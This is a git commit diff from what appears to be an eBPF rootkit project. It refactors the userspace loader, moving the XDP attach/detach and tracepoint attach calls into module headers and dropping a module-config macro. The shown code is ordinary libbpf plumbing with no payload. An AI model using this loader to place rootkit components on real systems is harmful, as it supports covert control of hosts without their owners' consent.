Further improvements in the rootkit configuration by the user

src/common/map_defs.h

@@ -3,6 +3,7 @@
 
 #define RB_EVENT_MAX_MESSAGE_SIZE 512
 
+// Ring buffer for kernel->user communication
 typedef enum {
     INFO,
     DEBUG,
@@ -17,7 +18,6 @@ struct rb_event {
     event_type_t event_type;
 };
 
-
 //sched_process_exec tracepoint contents
 struct trace_entry {
 	short unsigned int type;

src/ebpf/include/utils/modules.h

@@ -1,14 +0,0 @@
-#ifndef __MODULES_H
-#define __MODULES_H
-
-#define RETURN_VALUE_MODULE_NONACTIVE -1
-//Access user-defined config
-#include "../../user/include/modules/module_manager.h"
-
-
-#define CHECK_MODULE_ACTIVE(module, func)\
-    if( module_config. module##_module.all != ON){\
-        return RETURN_VALUE_MODULE_NONACTIVE;\
-    }
-
-#endif

src/ebpf/xdp_filter.bpf.c

@@ -32,7 +32,6 @@
 #include "utils/strings.h"
 
 //BPF modules to load
-#include "include/utils/modules.h" //Config
 #include "include/bpf/sched.h"
 
 char LICENSE[] SEC("license") = "Dual BSD/GPL";
@@ -47,7 +46,6 @@ struct eth_hdr {
 
 SEC("xdp_prog")
 int xdp_receive(struct xdp_md *ctx){
-    CHECK_MODULE_ACTIVE(xdp, __FUNCTION__);
     //bpf_printk("BPF triggered\n");
     
     void *data_end = (void *)(long)ctx->data_end;

src/user/include/modules/module_manager.h

@@ -22,4 +22,6 @@ typedef struct module_config_t{
 
 extern module_config_t module_config;
 
+
+
 #endif

src/user/include/modules/sched.h

@@ -0,0 +1,18 @@
+#ifndef __MOD_SCHED_H
+#define __MOD_SCHED_H
+
+#include <linux/bpf.h>
+#include <bpf/libbpf.h>
+#include "xdp_filter.skel.h"
+
+int attach_handle_sched_process_exec(struct xdp_filter_bpf *skel){
+    skel->links.handle_sched_process_exec = bpf_program__attach(skel->progs.handle_sched_process_exec);
+	return libbpf_get_error(skel->links.handle_sched_process_exec);
+}
+
+int attach_sched_all(struct xdp_filter_bpf *skel){
+    return attach_handle_sched_process_exec(skel);
+}
+
+
+#endif

src/user/include/modules/xdp.h

@@ -1,5 +1,59 @@
 #ifndef __MOD_XDP_H
 #define __MOD_XDP_H
 
+int attach_xdp_all(struct xdp_filter_bpf *skel, __u32 ifindex, __u32 flags){
+    //Attach BPF program to network interface
+	//New way of doing it: it allows for future addition of multiple 
+	//XDP programs attached to same interface if needed
+	//Also done this way to modularize attaching the different tracepoints
+	//of the rootkit
+	/** @ref Test suite by readhat ebpf devs on XDP
+	 *  https://git.zx2c4.com/linux/plain/tools/testing/selftests/bpf/prog_tests/xdp_link.c 
+	 */
+	struct bpf_prog_info prog_info;
+	__u32 bpf_prog_info_size = sizeof(prog_info);
+	__u32 xdp_prog_fd = bpf_program__fd(skel->progs.xdp_receive);
+	__u32 xdp_prog_id_old = 0;
+	__u32 xdp_prog_id_new;
+    __u32 err;
+	DECLARE_LIBBPF_OPTS(bpf_xdp_set_link_opts, opts, .old_fd = -1);
+	
+	memset(&prog_info, 0, bpf_prog_info_size);
+	err = bpf_obj_get_info_by_fd(xdp_prog_fd, &prog_info, &bpf_prog_info_size);
+	if(err<0){
+		fprintf(stderr, "Failed to setup xdp link\n");
+		return -1;
+	}
+	xdp_prog_id_new = prog_info.id;
+	
+	//Check whether there exists previously loaded XDP program
+	err = bpf_get_link_xdp_id(ifindex, &xdp_prog_id_old, 0);
+	if(err<0 || (xdp_prog_id_old!=0 && xdp_prog_id_old!=xdp_prog_id_new)){
+		fprintf(stderr, "Xdp program found id--> old:%u != new:%u\n", xdp_prog_id_old, xdp_prog_id_new);
+		fprintf(stderr,"This should not happen, since our xdp program is removed automatically between calls\nRun `ip link set dev lo xdpgeneric off` to detach whichever program is running");
+		//TODO automatically force the reattach
+		return -1;
+	}
+
+    // Attach loaded xdp program
+	skel->links.xdp_receive = bpf_program__attach_xdp(skel->progs.xdp_receive, ifindex);
+	err = libbpf_get_error(skel->links.xdp_receive);
+	if (err<0) {
+		fprintf(stderr, "Failed to attach XDP program\n");
+		return -1;
+	}
+
+    return 0;
+}
+
+int detach_xdp_all(__u32 fd, __u32 ifindex, __u32 flags){
+    int err = bpf_set_link_xdp_fd(ifindex, fd, flags);
+    if(err<0){
+        fprintf(stderr, "Failed to detach XDP program\n");
+		return -1;
+    }
+
+    return 0;
+}
 
 #endif

src/user/xdp_filter.c

@@ -18,6 +18,8 @@
 #include "include/utils/files/path.h"
 #include "include/utils/strings/regex.h"
 #include "include/utils/structures/fdlist.h"
+#include "include/modules/sched.h"
+#include "include/modules/xdp.h"
 
 static struct env {
 	bool verbose;
@@ -181,51 +183,15 @@ int main(int argc, char**argv){
 		goto cleanup;
 	}
 
-
+	//Attach XDP module
-	//Attack BPF program to network interface
+	__u32 flags = XDP_FLAGS_REPLACE;
-	//New way of doing it: it allows for future addition of multiple 
+	err = attach_xdp_all(skel, ifindex, flags);
-	//XDP programs attached to same interface if needed
-	//Also done this way to modularize attaching the different tracepoints
-	//of the rootkit
-	/** @ref Test suite by readhat ebpf devs on XDP
-	 *  https://git.zx2c4.com/linux/plain/tools/testing/selftests/bpf/prog_tests/xdp_link.c 
-	 */
-	struct bpf_prog_info prog_info;
-	__u32 bpf_prog_info_size = sizeof(prog_info);
-	__u32 xdp_prog_fd = bpf_program__fd(skel->progs.xdp_receive);
-	__u32 xdp_prog_id_old = 0;
-	__u32 xdp_prog_id_new;
-	DECLARE_LIBBPF_OPTS(bpf_xdp_set_link_opts, opts, .old_fd = -1);
-	int flags = XDP_FLAGS_REPLACE;
-	
-	memset(&prog_info, 0, bpf_prog_info_size);
-	err = bpf_obj_get_info_by_fd(xdp_prog_fd, &prog_info, &bpf_prog_info_size);
 	if(err<0){
-		fprintf(stderr, "Failed to setup xdp link\n");
-		goto cleanup;
-	}
-	xdp_prog_id_new = prog_info.id;
-	
-	//Check whether there exists previously loaded XDP program
-	err = bpf_get_link_xdp_id(ifindex, &xdp_prog_id_old, 0);
-	if(err<0 || (xdp_prog_id_old!=0 && xdp_prog_id_old!=xdp_prog_id_new)){
-		fprintf(stderr, "Xdp program found id--> old:%u != new:%u\n", xdp_prog_id_old, xdp_prog_id_new);
-		fprintf(stderr,"This should not happen, since our xdp program is removed automatically between calls\nRun `ip link set dev lo xdpgeneric off` to detach whichever program is running");
-		//TODO automatically force the reattach
-		goto cleanup;
-	}
-
-    // Attach loaded xdp program
-	skel->links.xdp_receive = bpf_program__attach_xdp(skel->progs.xdp_receive, ifindex);
-	err = libbpf_get_error(skel->links.xdp_receive);
-	if (err) {
-		fprintf(stderr, "Failed to attach BPF skeleton\n");
 		goto cleanup;
 	}
 
 	//Attach sched module (testing)
-	skel->links.handle_sched_process_exec = bpf_program__attach(skel->progs.handle_sched_process_exec);
+	err = attach_handle_sched_process_exec(skel);
-	err = libbpf_get_error(skel->links.handle_sched_process_exec);
 	if (err<0) {
 		fprintf(stderr, "Failed to attach sched module\n");
 		goto cleanup;
@@ -257,8 +223,7 @@ int main(int argc, char**argv){
 	}
 
 	//Received signal to stop, detach program from network interface
-	__u32 fd = -1;
+	detach_xdp_all(-1, ifindex, flags);
-    err = bpf_set_link_xdp_fd(ifindex, fd, flags);
 
 
     cleanup: